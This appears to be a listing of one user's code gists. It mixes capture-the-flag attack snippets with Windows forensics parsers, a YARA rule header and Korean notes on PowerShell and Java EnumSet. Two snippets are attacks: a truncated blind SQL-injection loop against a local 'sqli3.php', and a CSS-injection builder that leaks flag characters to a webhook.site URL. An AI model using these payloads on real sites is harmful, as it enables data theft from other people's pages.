hyuunnn

import requests

url = "http://localhost:9200/sqli3.php"

flag = ""
flag_len = 41
for idx in range(1, flag_len):
    tmp = []
    for count in range(1, 9):
        payload = f"""a' = 'a'#

hyuunnn

import string
import pyperclip

token = "token"
flag = "flag{"
payload = "<style>"
for i in string.printable.split(" ")[0].replace("\"",""): # "처리에서 뭔가 문제가 있어서 일단 제거함
    payload += 'a[href*="' + flag + i + '"]' + '{background-image: url(https://webhook.site/' + token + '?a=' + i + ');}'
    payload += "\n"
payload += "</style>"

hyuunnn

asdqwewqe

hyuunnn

layout	title	description	date	tags
post	Powershell 언어의 특이한 기능		2022-11-12	Powershell

학교 과제로 rare한 언어의 튜토리얼을 만드는게 있어서 Powershell을 선택하였다. (해당 언어는 현장에서 사용되고 있어야 한다.)

hyuunnn

/*
   YARA Rule Set
   Author: hyuunnn
   Date: 2024-02-17
   Identifier: testtestt
   Reference: https://github.com/Neo23x0/yarGen
*/

/* Rule Set ----------------------------------------------------------------- */

hyuunnn

EnumSet은 Java의 특수한 컬렉션 클래스로, enum 타입의 요소들을 효율적으로 저장하고 처리할 수 있습니다⁷. EnumSet은 내부적으로 비트 벡터를 사용하여 enum 요소들을 관리합니다⁶. 비트 벡터는 long 타입의 변수로 구현되는데, long 타입은 64비트를 가집니다. 따라서 64개 이하의 enum 요소들을 저장할 수 있습니다.

EnumSet은 정적 팩토리 메서드를 통해 인스턴스를 생성할 수 있습니다. 그 중에는 of 메서드가 있는데, 이 메서드는 enum 요소들을 직접 매개변수로 전달하여 EnumSet을 만듭니다⁵. 예를 들어,

EnumSet<DayOfWeek> weekend = EnumSet.of(DayOfWeek.SATURDAY, DayOfWeek.SUNDAY);

이 코드는 DayOfWeek이라는 enum 타입에서 토요일과 일요일만 포함하는 EnumSet을 생성합니다.

hyuunnn

Forensic Artifact

• NTFS Log Tracker
  • $MFT, $Usnjrnl:$J, $LogFile
• REGA, AmcacheParser, libregf
  • C:/Windows/System32/config (SAM, SECURITY, SOFTWARE, SYSTEM)
  • C:/Users/USERNAME (USERNAME.ntuser.dat)
  • C:/Windows/AppData/Local/Microsoft/Windows (USERNAME.UsrClass.dat)
  • C:/Windows/appcompat/Programs/Amcache.hve (Amcache)
• AppCompatCache (Shimcache)

hyuunnn

from winreg import *

class IconLayouts:
    def __init__(self):
        self.idx = 0x18
        self.data = self.get_reg_data()

    def parse_data(self, size):
        result = self.data[self.idx:self.idx+size]
        self.idx += size

hyuunnn

ex) python lnk.py "C:/lnkfile/"

ex) python lnk2.py "C:/lnkfile/" --> using pylnk

pylnk show_window_value is incorrect data

So I created the code to parse the ShowWindow.

hyuunnn

import struct
import binascii

class IconCache_parser:
    def __init__(self, filename):
        self.filename = filename
        self.data = open(self.filename,"rb").read()
        self.header_size = struct.unpack("<L",self.data[:0x4])[0]
        self.signature = self.data[0x4:0x8]
        self.file_version = self.data[0x8:0xc]